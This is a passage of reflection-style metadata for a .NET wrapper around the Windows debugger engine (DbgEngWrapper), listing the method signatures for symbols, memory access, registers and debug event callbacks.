.ctor(IDebugSymbols5*): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Methods: GetSymbolOptions(SYMOPT&(Out)): PrivateScope, Public, HideBySig AddSymbolOptions(SYMOPT(In)): PrivateScope, Public, HideBySig RemoveSymbolOptions(SYMOPT(In)): PrivateScope, Public, HideBySig SetSymbolOptions(SYMOPT(In)): PrivateScope, Public, HideBySig GetNumberModules(UInt32&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig GetModuleByIndex(UInt32(In) IsLong, UInt64&(Out)): PrivateScope, Public, HideBySig GetModuleByOffset(UInt64(In), UInt32(In) IsLong, UInt32&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig GetModuleParameters(UInt32(In) IsLong, UInt64[](In), UInt32(In) IsLong, DEBUG_MODULE_PARAMETERS[]&(Out)): PrivateScope, Public, HideBySig GetTypeSize(UInt64(In), UInt32(In) IsLong, UInt32&(Out)): PrivateScope, Public, HideBySig GetOffsetTypeId(UInt64(In), UInt32&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig ResetScope(): PrivateScope, Public, HideBySig EndSymbolMatch(UInt64(In)): PrivateScope, Public, HideBySig GetTypeOptions(DEBUG_TYPEOPTS&(Out)): PrivateScope, Public, HideBySig AddTypeOptions(DEBUG_TYPEOPTS(In)): PrivateScope, Public, HideBySig RemoveTypeOptions(DEBUG_TYPEOPTS(In)): PrivateScope, Public, HideBySig SetTypeOptions(DEBUG_TYPEOPTS(In)): PrivateScope, Public, HideBySig GetNameByOffsetWide(UInt64(In), String&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig GetOffsetByNameWide(String(In), UInt64&(Out)): PrivateScope, Public, HideBySig GetNearNameByOffsetWide(UInt64(In), Int32(In), String&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig GetLineByOffsetWide(UInt64(In), UInt32&(Out), String&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig GetOffsetByLineWide(UInt32(In) IsLong, String(In), UInt64&(Out)): PrivateScope, Public, HideBySig GetModuleByModuleNameWide(String(In), UInt32(In) IsLong, UInt32&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig GetSymbolModuleWide(String(In), UInt64&(Out)): PrivateScope, Public, HideBySig GetTypeNameWide(UInt64(In), UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig GetTypeIdWide(UInt64(In), String(In), UInt32&(Out)): PrivateScope, Public, HideBySig GetFieldOffsetWide(UInt64(In), UInt32(In) IsLong, String(In), UInt32&(Out)): PrivateScope, Public, HideBySig GetSymbolTypeIdWide(String(In), UInt32&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig GetScopeSymbolGroup2(DEBUG_SCOPE_GROUP(In), WDebugSymbolGroup(In), WDebugSymbolGroup&(Out)): PrivateScope, Public, HideBySig CreateSymbolGroup2(WDebugSymbolGroup&(Out)): PrivateScope, Public, HideBySig StartSymbolMatchWide(String(In), UInt64&(Out)): PrivateScope, Public, HideBySig GetNextSymbolMatchWide(UInt64(In), String&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig ReloadWide(String(In)): PrivateScope, Public, HideBySig GetSymbolPathWide(String&(Out)): PrivateScope, Public, HideBySig SetSymbolPathWide(String(In)): PrivateScope, Public, HideBySig AppendSymbolPathWide(String(In)): PrivateScope, Public, HideBySig GetImagePathWide(String&(Out)): PrivateScope, Public, HideBySig SetImagePathWide(String(In)): PrivateScope, Public, HideBySig AppendImagePathWide(String(In)): PrivateScope, Public, HideBySig GetSourcePathWide(String&(Out)): PrivateScope, Public, HideBySig GetSourcePathElementWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig SetSourcePathWide(String(In)): PrivateScope, Public, HideBySig AppendSourcePathWide(String(In)): PrivateScope, Public, HideBySig GetModuleVersionInformationWide_VS_FIXEDFILEINFO(UInt32(In) IsLong, VS_FIXEDFILEINFO&(Out)): PrivateScope, Public, HideBySig GetModuleVersionInformationWide_VS_FIXEDFILEINFO(UInt64(In), VS_FIXEDFILEINFO&(Out)): PrivateScope, Public, HideBySig GetModuleVersionInformationWide_Translations(UInt32(In) IsLong, UInt32[]&(Out)): PrivateScope, Public, HideBySig GetModuleVersionInformationWide_Translations(UInt64(In), UInt32[]&(Out)): PrivateScope, Public, HideBySig GetModuleVersionInformationWide_StringInfo(UInt32(In) IsLong, UInt32(In) IsLong, String(In), String&(Out)): PrivateScope, Public, HideBySig GetModuleVersionInformationWide_StringInfo(UInt64(In), UInt32(In) IsLong, String(In), String&(Out)): PrivateScope, Public, HideBySig GetModuleNameStringWide(DEBUG_MODNAME(In), UInt32(In) IsLong, UInt64(In), UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig GetModuleNameStringWide(DEBUG_MODNAME(In), UInt32(In) IsLong, UInt64(In), String&(Out)): PrivateScope, Public, HideBySig GetConstantNameWide(UInt64(In), UInt32(In) IsLong, UInt64(In), String&(Out)): PrivateScope, Public, HideBySig GetFieldNameWide(UInt64(In), UInt32(In) IsLong, UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig IsManagedModule(UInt32(In) IsLong, UInt64(In)): PrivateScope, Public, HideBySig GetModuleByModuleName2Wide(String(In), UInt32(In) IsLong, DEBUG_GETMOD(In), UInt32&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig GetModuleByOffset2(UInt64(In), UInt32(In) IsLong, DEBUG_GETMOD(In), UInt32&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig AddSyntheticModuleWide(UInt64(In), UInt32(In) IsLong, String(In), String(In), DEBUG_ADDSYNTHMOD(In)): PrivateScope, Public, HideBySig RemoveSyntheticModule(UInt64(In)): PrivateScope, Public, HideBySig GetCurrentScopeFrameIndex(UInt32&(Out)): PrivateScope, Public, HideBySig SetScopeFrameByIndex(UInt32(In) IsLong): PrivateScope, Public, HideBySig SetScopeFromJitDebugInfo(UInt32(In) IsLong, UInt64(In)): PrivateScope, Public, HideBySig SetScopeFromStoredEvent(): PrivateScope, Public, HideBySig GetFieldTypeAndOffsetWide(UInt64(In), UInt32(In) IsLong, String(In), UInt32&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig AddSyntheticSymbolWide(UInt64(In), UInt32(In) IsLong, String(In), DEBUG_ADDSYNTHSYM(In), DEBUG_MODULE_AND_ID&(Out)): PrivateScope, Public, HideBySig RemoveSyntheticSymbol(DEBUG_MODULE_AND_ID(In)): PrivateScope, Public, HideBySig GetSymbolEntriesByOffset(UInt64(In), UInt32(In) IsLong, DEBUG_MODULE_AND_ID[]&(Out), UInt64[]&(Out), UInt32(In) IsLong): PrivateScope, Public, HideBySig GetSymbolEntriesByNameWide(String(In), UInt32(In) IsLong, DEBUG_MODULE_AND_ID[]&(Out)): PrivateScope, Public, HideBySig GetSymbolEntryByToken(UInt64(In), UInt32(In) IsLong, DEBUG_MODULE_AND_ID&(Out)): PrivateScope, Public, HideBySig GetSymbolEntryInformation(DEBUG_MODULE_AND_ID*(In), DEBUG_SYMBOL_ENTRY&(Out)): PrivateScope, Public, HideBySig GetScopeEx(UInt64&(Out), DEBUG_STACK_FRAME_EX&(Out), IntPtr(In), UInt32(In) IsLong): PrivateScope, Public, HideBySig SetScopeEx(UInt64(In), DEBUG_STACK_FRAME_EX(In), IntPtr(In), UInt32(In) IsLong): PrivateScope, Public, HideBySig GetNameByInlineContextWide(UInt64(In), UInt32(In) IsLong, String&(Out), UInt64&(Out)): PrivateScope, Public, HideBySig GetCurrentScopeFrameIndexEx(DEBUG_FRAME(In), UInt32&(Out)): PrivateScope, Public, HideBySig SetScopeFrameByIndexEx(DEBUG_FRAME(In), UInt32(In) IsLong): PrivateScope, Public, HideBySig Class DbgEngWrapper.WDebugSymbolGroup: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Void .ctor(IntPtr): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Void .ctor(IDebugSymbolGroup2*): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Methods: GetRaw(): PrivateScope, Public, HideBySig GetNumberSymbols(UInt32&(Out)): PrivateScope, Public, HideBySig RemoveSymbolByIndex(UInt32(In) IsLong): PrivateScope, Public, HideBySig GetSymbolParameters(UInt32(In) IsLong, UInt32(In) IsLong, DEBUG_SYMBOL_PARAMETERS[]&(Out)): PrivateScope, Public, HideBySig ExpandSymbol(UInt32(In) IsLong, Boolean(In, HasFieldMarshal)): PrivateScope, Public, HideBySig AddSymbolWide(String(In), UInt32&(In, Out)): PrivateScope, Public, HideBySig RemoveSymbolByNameWide(String(In)): PrivateScope, Public, HideBySig GetSymbolNameWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig WriteSymbolWide(UInt32(In) IsLong, String(In)): PrivateScope, Public, HideBySig OutputAsTypeWide(UInt32(In) IsLong, String(In)): PrivateScope, Public, HideBySig GetSymbolTypeNameWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig GetSymbolSize(UInt32(In) IsLong, UInt32&(Out)): PrivateScope, Public, HideBySig GetSymbolOffset(UInt32(In) IsLong, UInt64&(Out)): PrivateScope, Public, HideBySig GetSymbolRegister(UInt32(In) IsLong, UInt32&(Out)): PrivateScope, Public, HideBySig GetSymbolValueTextWide(UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig GetSymbolEntryInformation(UInt32(In) IsLong, DEBUG_SYMBOL_ENTRY&(Out)): PrivateScope, Public, HideBySig Class DbgEngWrapper.WDebugEngInterface: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Interfaces: System.IDisposable Methods: Dispose(): PrivateScope, Public, Final, Virtual, HideBySig Class DbgEngWrapper.WDebugDataSpaces: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.WDebugEngInterface Void .ctor(IntPtr): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Void .ctor(IDebugDataSpaces4*): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Methods: ReadVirtual(UInt64(In), UInt32(In) IsLong, Byte[]&(Out)): PrivateScope, Public, HideBySig ReadVirtualDirect(UInt64(In), UInt32(In) IsLong, Byte*(In), UInt32&(Out)): PrivateScope, Public, HideBySig WriteVirtual(UInt64(In), Byte*(In), UInt32(In) IsLong, UInt32&(Out)): PrivateScope, Public, HideBySig WriteVirtual(UInt64(In), Byte[](In), UInt32&(Out)): PrivateScope, Public, HideBySig SearchVirtual(UInt64(In), UInt64(In), Byte[](In), UInt32(In) IsLong, UInt64&(Out)): PrivateScope, Public, HideBySig ReadVirtualUncached(UInt64(In), UInt32(In) IsLong, Byte[]&(Out)): PrivateScope, Public, HideBySig WriteVirtualUncached(UInt64(In), Byte[](In), UInt32&(Out)): PrivateScope, Public, HideBySig ReadPointersVirtual(UInt32(In) IsLong, UInt64(In), UInt64[]&(Out)): PrivateScope, Public, HideBySig WritePointersVirtual(UInt64(In), UInt64[](In)): PrivateScope, Public, HideBySig ReadPhysical(UInt64(In), UInt32(In) IsLong, Byte[]&(Out)): PrivateScope, Public, HideBySig WritePhysical(UInt64(In), Byte[](In), UInt32&(Out)): PrivateScope, Public, HideBySig ReadControl(UInt32(In) IsLong, UInt64(In), UInt32(In) IsLong, Byte[]&(Out)): PrivateScope, Public, HideBySig WriteControl(UInt32(In) IsLong, UInt64(In), Byte[](In), UInt32&(Out)): PrivateScope, Public, HideBySig ReadIo(INTERFACE_TYPE(In), UInt32(In) IsLong, UInt32(In) IsLong, UInt64(In), UInt32(In) IsLong, Byte[]&(Out)): PrivateScope, Public, HideBySig WriteIo(INTERFACE_TYPE(In), UInt32(In) IsLong, UInt32(In) IsLong, UInt64(In), Byte[](In), UInt32&(Out)): PrivateScope, Public, HideBySig ReadMsr(UInt32(In) IsLong, UInt64&(Out)): PrivateScope, Public, HideBySig WriteMsr(UInt32(In) IsLong, UInt64(In)): PrivateScope, Public, HideBySig ReadBusData(BUS_DATA_TYPE(In), UInt32(In) IsLong, UInt32(In) IsLong, UInt32(In) IsLong, UInt32(In) IsLong, Byte[]&(Out)): PrivateScope, Public, HideBySig WriteBusData(BUS_DATA_TYPE(In), UInt32(In) IsLong, UInt32(In) IsLong, UInt32(In) IsLong, Byte[](In), UInt32&(Out)): PrivateScope, Public, HideBySig CheckLowMemory(): PrivateScope, Public, HideBySig ReadDebuggerData(UInt32(In) IsLong, Byte[](In, Out), UInt32&(Out)): PrivateScope, Public, HideBySig ReadProcessorSystemData(UInt32(In) IsLong, DEBUG_DATA(In), Byte[](In, Out), UInt32&(Out)): PrivateScope, Public, HideBySig VirtualToPhysical(UInt64(In), UInt64&(Out)): PrivateScope, Public, HideBySig GetVirtualTranslationPhysicalOffsets(UInt64(In), UInt64[](In, Out), UInt32&(Out)): PrivateScope, Public, HideBySig ReadHandleData(UInt64(In), DEBUG_HANDLE_DATA_TYPE(In), Byte[]&(In, Out), UInt32&(Out)): PrivateScope, Public, HideBySig FillVirtual(UInt64(In), UInt32(In) IsLong, Byte[](In), UInt32&(Out)): PrivateScope, Public, HideBySig FillPhysical(UInt64(In), UInt32(In) IsLong, Byte[](In), UInt32&(Out)): PrivateScope, Public, HideBySig QueryVirtual(UInt64(In), MEMORY_BASIC_INFORMATION64&(Out)): PrivateScope, Public, HideBySig ReadImageNtHeaders(UInt64(In), IMAGE_NT_HEADERS64&(Out)): PrivateScope, Public, HideBySig ReadTagged(Guid(In), UInt32(In) IsLong, Byte[]&(In, Out), UInt32&(Out)): PrivateScope, Public, HideBySig StartEnumTagged(UInt64&(Out)): PrivateScope, Public, HideBySig GetNextTagged(UInt64(In), Guid&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig EndEnumTagged(UInt64(In)): PrivateScope, Public, HideBySig GetOffsetInformation(DEBUG_DATA_SPACE(In), DEBUG_OFFSINFO(In), UInt64(In), Byte[](In, Out), UInt32&(Out)): PrivateScope, Public, HideBySig GetNextDifferentlyValidOffsetVirtual(UInt64(In), UInt64&(Out)): PrivateScope, Public, HideBySig GetValidRegionVirtual(UInt64(In), UInt32(In) IsLong, UInt64&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig SearchVirtual2(UInt64(In), UInt64(In), DEBUG_VSEARCH(In), Byte[](In), UInt32(In) IsLong, UInt64&(Out)): PrivateScope, Public, HideBySig ReadMultiByteStringVirtualWide(UInt64(In), UInt32(In) IsLong, CODE_PAGE(In), String&(Out)): PrivateScope, Public, HideBySig ReadUnicodeStringVirtualWide(UInt64(In), UInt32(In) IsLong, String&(Out)): PrivateScope, Public, HideBySig ReadPhysical2(UInt64(In), UInt32(In) IsLong, DEBUG_PHYSICAL(In), Byte[]&(Out)): PrivateScope, Public, HideBySig WritePhysical2(UInt64(In), DEBUG_PHYSICAL(In), Byte[](In), UInt32&(Out)): PrivateScope, Public, HideBySig Class DbgEngWrapper.WDebugEngInterface: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Interfaces: System.IDisposable Methods: Dispose(): PrivateScope, Public, Final, Virtual, HideBySig Class DbgEngWrapper.WDebugRegisters: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.WDebugEngInterface Void .ctor(IntPtr): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Void .ctor(IDebugRegisters2*): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Methods: GetNumberRegisters(UInt32&(Out)): PrivateScope, Public, HideBySig GetValue(UInt32(In) IsLong, DEBUG_VALUE&(Out)): PrivateScope, Public, HideBySig SetValue(UInt32(In) IsLong, DEBUG_VALUE(In)): PrivateScope, Public, HideBySig GetInstructionOffset(UInt64&(Out)): PrivateScope, Public, HideBySig GetStackOffset(UInt64&(Out)): PrivateScope, Public, HideBySig GetFrameOffset(UInt64&(Out)): PrivateScope, Public, HideBySig GetDescriptionWide(UInt32(In) IsLong, String&(Out), DEBUG_REGISTER_DESCRIPTION&(Out)): PrivateScope, Public, HideBySig GetIndexByNameWide(String(In), UInt32&(Out)): PrivateScope, Public, HideBySig GetNumberPseudoRegisters(UInt32&(Out)): PrivateScope, Public, HideBySig GetPseudoDescriptionWide(UInt32(In) IsLong, String&(Out), UInt64&(Out), UInt32&(Out)): PrivateScope, Public, HideBySig GetPseudoIndexByNameWide(String(In), UInt32&(Out)): PrivateScope, Public, HideBySig GetPseudoValues(DEBUG_REGSRC(In), UInt32(In) IsLong, UInt32[](In), DEBUG_VALUE[]&(Out)): PrivateScope, Public, HideBySig GetPseudoValues(DEBUG_REGSRC(In), UInt32(In) IsLong, UInt32(In) IsLong, DEBUG_VALUE[]&(Out)): PrivateScope, Public, HideBySig GetValues2(DEBUG_REGSRC(In), UInt32(In) IsLong, UInt32(In) IsLong, DEBUG_VALUE[]&(Out)): PrivateScope, Public, HideBySig GetValues2(DEBUG_REGSRC(In), UInt32[](In), DEBUG_VALUE[]&(Out)): PrivateScope, Public, HideBySig SetValues2(UInt32(In) IsLong, UInt32[](In), DEBUG_VALUE[](In)): PrivateScope, Public, HideBySig GetInstructionOffset2(UInt32(In) IsLong, UInt64&(Out)): PrivateScope, Public, HideBySig GetStackOffset2(UInt32(In) IsLong, UInt64&(Out)): PrivateScope, Public, HideBySig GetFrameOffset2(UInt32(In) IsLong, UInt64&(Out)): PrivateScope, Public, HideBySig Class DbgEngWrapper.WDebugEngInterface: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Interfaces: System.IDisposable Methods: Dispose(): PrivateScope, Public, Final, Virtual, HideBySig Class DbgEngWrapper.WDebugAdvanced: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.WDebugEngInterface Void .ctor(IntPtr): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Void .ctor(IDebugAdvanced3*): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Methods: GetThreadContext(Byte*(In), UInt32(In) IsLong): PrivateScope, Public, HideBySig SetThreadContext(Byte*(In), UInt32(In) IsLong): PrivateScope, Public, HideBySig Request(DEBUG_REQUEST(In), Byte*(In), UInt32(In) IsLong, Byte*(In), UInt32(In) IsLong, UInt32&(Out)): PrivateScope, Public, HideBySig Interface DbgEngWrapper.IDebugEventCallbacksWideImp: AutoLayout, AnsiClass, Class, Public, ClassSemanticsMask, Abstract, BeforeFieldInit Methods: GetInterestMask(DEBUG_EVENT&(Out)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Breakpoint(WDebugBreakpoint(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Exception(EXCEPTION_RECORD64&(In), UInt32(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract CreateThread(UInt64(In), UInt64(In), UInt64(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ExitThread(UInt32(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract CreateProcess(UInt64(In), UInt64(In), UInt64(In), UInt32(In), String(In), String(In), UInt32(In), UInt32(In), UInt64(In), UInt64(In), UInt64(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ExitProcess(UInt32(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract LoadModule(UInt64(In), UInt64(In), UInt32(In), String(In), String(In), UInt32(In), UInt32(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract UnloadModule(String(In), UInt64(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract SystemError(UInt32(In), UInt32(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract SessionStatus(DEBUG_SESSION(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeDebuggeeState(DEBUG_CDS(In), UInt64(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeEngineState(DEBUG_CES(In), UInt64(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeSymbolState(DEBUG_CSS(In), UInt64(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Interface DbgEngWrapper.IDebugEventContextCallbacksImp: AutoLayout, AnsiClass, Class, Public, ClassSemanticsMask, Abstract, BeforeFieldInit Methods: GetInterestMask(DEBUG_EVENT&(Out)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Breakpoint(WDebugBreakpoint(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Exception(EXCEPTION_RECORD64&(In), UInt32(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract CreateThread(UInt64(In), UInt64(In), UInt64(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ExitThread(UInt32(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract CreateProcess(UInt64(In), UInt64(In), UInt64(In), UInt32(In), String(In), String(In), UInt32(In), UInt32(In), UInt64(In), UInt64(In), UInt64(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ExitProcess(UInt32(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract LoadModule(UInt64(In), UInt64(In), UInt32(In), String(In), String(In), UInt32(In), UInt32(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract UnloadModule(String(In), UInt64(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract SystemError(UInt32(In), UInt32(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract SessionStatus(DEBUG_SESSION(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeDebuggeeState(DEBUG_CDS(In), UInt64(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeEngineState(DEBUG_CES(In), UInt64(In), DEBUG_EVENT_CONTEXT*(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeSymbolState(DEBUG_CSS(In), UInt64(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Interface DbgEngWrapper.IDebugInputCallbacksImp: AutoLayout, AnsiClass, Class, Public, ClassSemanticsMask, Abstract, BeforeFieldInit Methods: StartInput(UInt32(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract EndInput(): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Interface DbgEngWrapper.IDebugOutputCallbacksImp: AutoLayout, AnsiClass, Class, Public, ClassSemanticsMask, Abstract, BeforeFieldInit Methods: Output(DEBUG_OUTPUT(In), String(In)): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Interface DbgEngWrapper.IComDbgEngEventCallbacks: AutoLayout, AnsiClass, Class, Public, ClassSemanticsMask, Abstract, BeforeFieldInit Methods: GetInterestMask(UInt32*): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Breakpoint(IDebugBreakpoint2*): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Exception(_EXCEPTION_RECORD64*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract CreateThread(UInt64, UInt64, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ExitThread(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract CreateProcess(UInt64, UInt64, UInt64, UInt32 IsLong, Char*, Char*, UInt32 IsLong, UInt32 IsLong, UInt64, UInt64, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ExitProcess(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract LoadModule(UInt64, UInt64, UInt32 IsLong, Char*, Char*, UInt32 IsLong, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract UnloadModule(Char*, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract SystemError(UInt32 IsLong, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract SessionStatus(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeDebuggeeState(UInt32 IsLong, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeEngineState(UInt32 IsLong, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeSymbolState(UInt32 IsLong, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Interface DbgEngWrapper.IComDbgEngEventContextCallbacks: AutoLayout, AnsiClass, Class, Public, ClassSemanticsMask, Abstract, BeforeFieldInit Methods: GetInterestMask(UInt32*): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Breakpoint(IDebugBreakpoint2*, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Exception(_EXCEPTION_RECORD64*, UInt32 IsLong, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract CreateThread(UInt64, UInt64, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ExitThread(UInt32 IsLong, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract CreateProcess(UInt64, UInt64, UInt64, UInt32 IsLong, Char*, Char*, UInt32 IsLong, UInt32 IsLong, UInt64, UInt64, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ExitProcess(UInt32 IsLong, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract LoadModule(UInt64, UInt64, UInt32 IsLong, Char*, Char*, UInt32 IsLong, UInt32 IsLong, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract UnloadModule(Char*, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract SystemError(UInt32 IsLong, UInt32 IsLong, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract SessionStatus(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeDebuggeeState(UInt32 IsLong, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeEngineState(UInt32 IsLong, UInt64, _DEBUG_EVENT_CONTEXT*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract ChangeSymbolState(UInt32 IsLong, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Interface DbgEngWrapper.IComDbgEngInputCallbacks: AutoLayout, AnsiClass, Class, Public, ClassSemanticsMask, Abstract, BeforeFieldInit Methods: StartInput(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract EndInput(): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Interface DbgEngWrapper.IComDbgEngOutputCallbacks: AutoLayout, AnsiClass, Class, Public, ClassSemanticsMask, Abstract, BeforeFieldInit Methods: Output(UInt32 IsLong, Char*): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask, Abstract Class DbgEngWrapper.DbgEngCallbacksAdapter: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit Class DbgEngWrapper.DbgEngEventCallbacksAdapter: AutoLayout, AnsiClass, Class, Public, BeforeFieldInit :DbgEngWrapper.DbgEngCallbacksAdapter Void .ctor(DbgEngWrapper.IDebugEventCallbacksWideImp): PrivateScope, Public, HideBySig, SpecialName, RTSpecialName Interfaces: DbgEngWrapper.IComDbgEngEventCallbacks Methods: GetInterestMask(UInt32*): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask Breakpoint(IDebugBreakpoint2*): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask Exception(_EXCEPTION_RECORD64*, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask CreateThread(UInt64, UInt64, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ExitThread(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask CreateProcess(UInt64, UInt64, UInt64, UInt32 IsLong, Char*, Char*, UInt32 IsLong, UInt32 IsLong, UInt64, UInt64, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask ExitProcess(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask LoadModule(UInt64, UInt64, UInt32 IsLong, Char*, Char*, UInt32 IsLong, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask UnloadModule(Char*, UInt64): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask SystemError(UInt32 IsLong, UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, VtableLayoutMask SessionStatus(UInt32 IsLong): PrivateScope, Public, Virtual, HideBySig, 